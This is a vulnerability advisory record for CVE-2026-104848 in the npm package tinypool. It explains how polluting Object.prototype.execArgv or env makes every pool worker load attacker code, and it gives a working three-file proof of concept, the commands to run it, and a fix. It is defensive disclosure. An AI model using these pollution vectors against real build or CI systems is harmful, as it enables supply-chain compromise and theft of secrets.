{"id":"CVE-2026-104848","aliases":["GHSA-5gmw-xhrv-c9v3"],"url":"https://o3.security/vulnerability/CVE-2026-104848","summary":"Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution","details":"`tinypool` passes worker options to `new Worker()` by reading them off a plain object whose prototype is `Object.prototype`. Options the application did not set are resolved through the prototype chain and then passed explicitly to `worker_threads.Worker`.\n\nNode core ignores `Worker` options inherited from `Object.prototype`. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.\n\n\nTwo keys reach code execution:\n\n1. **`execArgv`** — polluting `Object.prototype.execArgv = ['--require', '/path/to/attacker.js']` causes every pool worker to load the attacker's script.\n2. **`env`** — polluting `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }` achieves the same via environment injection.\n\n## Root cause\n\n`dist/index.js` lines 508-511:\n\n```js\nenv:            this.options.env,\nargv:           this.options.argv,\nexecArgv:       this.options.execArgv,\nresourceLimits: this.options.resourceLimits,\n```\n\n`this.options` is built at line 470 via object spread:\n\n```js\nthis.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };\n```\n\n## Impact\n\nArbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).\n\n\n## Proof of concept\n\nMinimal reproduction (3 files):\n\n**worker.mjs** — the application's own legitimate worker:\n```js\nexport default function double(n) { return n * 2 }\n```\n\n**payload.js** — attacker-controlled code (never referenced by the app):\n```js\nconst fs = require('fs')\nfs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)\nconsole.log('*** RCE ***')\n```\n\n**app.js** — normal tinypool usage:\n```js\nconst path = require('path')\n\n// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)\nObject.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]\n\nconst { Tinypool } = require('tinypool')\nconst pool = new Tinypool({\n  filename: path.join(__dirname, 'worker.mjs'),\n  minThreads: 1, maxThreads: 1\n})\npool.run(21).then(r => {\n  console.log('pool returned:', r)  // 42 — app works normally\n  pool.destroy()\n})\n```\n\nRun:\n```\nnpm i tinypool@2.1.0\nnode app.js\ncat /tmp/RCE_PROOF.txt   # attacker's code ran\n```\n\nBoth `execArgv` and `env` vectors confirmed on Node 20.\n\n\n## Suggested fix\n\nResolve worker options with own-property semantics:\n\n```js\nthis.options = Object.assign(Object.create(null),\n  kDefaultOptions, options, { filename, maxQueue: 0 });\n```","published":"2026-10-02T16:15:04.101Z","modified":"2026-10-21T02:54:32.201910218Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"tinypool","fixedVersion":"2.1.1"}],"fix":{"url":"https://github.com/tinylibs/tinypool/commit/24df4e730e7d0857a6d226c9b58f8924227404fd","label":"tinylibs/tinypool@24df4e7"},"references":[{"type":"WEB","url":"https://github.com/tinylibs/tinypool/releases/tag/v2.1.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/104xxx/CVE-2026-104848.json"},{"type":"ADVISORY","url":"https://github.com/tinylibs/tinypool/security/advisories/GHSA-5gmw-xhrv-c9v3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104848"},{"type":"FIX","url":"https://github.com/tinylibs/tinypool/commit/24df4e730e7d0857a6d226c9b58f8924227404fd"},{"type":"FIX","url":"https://github.com/tinylibs/tinypool/pull/134"},{"type":"PACKAGE","url":"https://github.com/tinylibs/tinypool"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:54:32.201910218Z"}}